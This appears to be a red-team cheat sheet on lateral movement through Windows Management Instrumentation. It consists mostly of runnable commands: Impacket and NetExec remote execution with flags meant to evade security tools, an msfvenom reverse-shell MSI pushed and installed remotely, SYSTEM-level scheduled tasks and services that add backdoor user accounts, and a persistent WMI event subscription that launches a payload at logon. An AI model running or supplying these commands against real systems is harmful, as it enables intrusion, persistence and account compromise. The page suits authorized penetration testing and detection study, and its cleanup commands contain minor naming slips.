Remote WMI

MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047

Theory

Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform lateral movements.

When using WMI remotely, the client application establishes a connection to the WMI service on the remote Windows machine. This connection is made using DCOM (Distributed Component Object Model) as the underlying transport protocol. The client initiates an RPC (Remote Procedure Call) connection to communicate with the WMI DCOM infrastructure on the remote system.

Once the DCOM connection is established, the MS-WMI protocols (Microsoft WMI Extensions to DCOM) comes into play. MS-WMI protocols provides additional functionality that is specific to WMI operations over the DCOM protocol. These extensions enhance DCOM to handle WMI-specific tasks such as executing WMI queries, invoking methods, and retrieving system information.

This method is much more discreet than the one used by psexec, smbexec and the other main tools in the impacket suite.

Practice

Remote Process Creation Using WMI

Impacket

The Impacket's wmiexec script give you a semi-interactive shell by leveraging DCOM and the MS-WMI protocol.

#Execute commands over MS-WMI
wmiexec.py <domain>/<username>:<password>@<target>

#SilentCommand, mor likely to bypass security solutions
wmiexec.py -silentcommand <domain>/<username>:<password>@<target> <COMMAND>

NetExec

We may use netexec to remotely execute commands on a remote target using WMI.

## Check if you can remote WMI
# With SMB port open
nxc wmi <target> -u <username> -p <password>
# With SMB port close, add the flag -d DOMAIN
nxc wmi <target> -u <username> -p <password> -d <domain>

## Execute commands
# wmiexec
nxc wmi <target> -u <username> -p <password> -x whoami
# wmiexec-event
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event
# wmiexec-event + SilentCommand, mor likely to bypass security solutions
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event --no-output

Remote MSI Installation Using WMI

We can install a MSI package on a remote target using wmi and powershell cmdlets. Let's create a malicious MSI using msfvenom and upload it to a share :

#Generate an evil package
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKING_IP> LPORT=<PORT> -f msi > evil64.msi

#Upload it to a share
smbclient -c 'put evil64.msi' -U <USER> '//TARGET/C$'

Powershell v1+ (2006)

#Create PSCredentials and install MSI on remote target
$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:\Windows\evil64.msi") -ComputerName "TARGET" -Credential $credential

Powershell v3+ (2012)

#Create CimSession and install MSI on remote target
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\evil64.msi"; Options = ""; AllUsers = $false}

Remote Scheduled Tasks Creation Using WMI

We can create scheduled tasks on a remote target using wmi and powershell cmdlets.

Powershell v3+ (2012)

#Create CimSession and scheduled task, start it
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
$Action = New-ScheduledTaskAction -CimSession $Session -Execute "cmd.exe" -Argument "/c net user munra22 aSdf1234 /add";
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "MyTask";
Start-ScheduledTask -CimSession $Session -TaskName "MyTask";

#Delete the task
Unregister-ScheduledTask -CimSession $Session -TaskName "MyTask"

Remote Service Creation Using WMI

We can create a service on a remote target using wmi and powershell cmdlets.

Powershell v1+ (2012)

#Create PSCredentials and a service
$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList @($false,"WMI Created Service",[byte]::Parse("1"),$null,$null,"WMICreatedService","net user wmiSvcUser Pass123 /add",$null,[byte]::Parse("16"),"Manual","NT AUTHORITY\SYSTEM","") -ComputerName TARGET -Credential $credential

#Create an handle to the service and Start it
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StartService()

#Finaly stop and delete it
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StopService()
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).Delete()

Powershell v3+ (2012)

#Create CimSession and a service
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "MyService"; DisplayName = "MyService"; PathName = "net user munra2 Pass123 /add"; ServiceType = [byte]::Parse("16"); StartMode = "Manual" }

#Create an handle to the service and Start it
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'MyService'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

#Finaly stop and delete it
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

Lateral Movement via WMI Event Subscription

Using WMI on a remote endpoint, we can perform lateral movements based on WMI Event Subscription Persitence.

Typically, WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.

  • __EventFilter // Trigger (new process, failed logon etc.)

  • EventConsumer // Perform Action (execute payload etc.)

  • __FilterToConsumerBinding // Binds Filter and Consumer Classes

Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well.

Execution of the following commands using powershell will create in the name space of root\subscription three events on the target hosts. You can set the arbitrary payload to execute within 5 seconds on every new logon session creation or within 60 seconds every time Windows starts.

#Create CimSession
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;

#Create filter
#Query to execute payload within 60 seconds every time Windows starts:
#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325
$FilterArgs = @{name='v4resk-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"};
$Filter=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

#Create consumer
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\evil.exe";}
$Consumer=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

#Create cosnmerBinding (bind filter & consumer)
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

We can cleanup using following commands

#Create CimSession
$credential = (new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))

#Get Consumer,Filter,$FilterConsumerBinding
$EventConsumerToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'v4resk-WMI'"
$EventFilterToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Class __EventFilter -Filter "Name = 'v4resk-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

#Remove
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

Resources

Last updated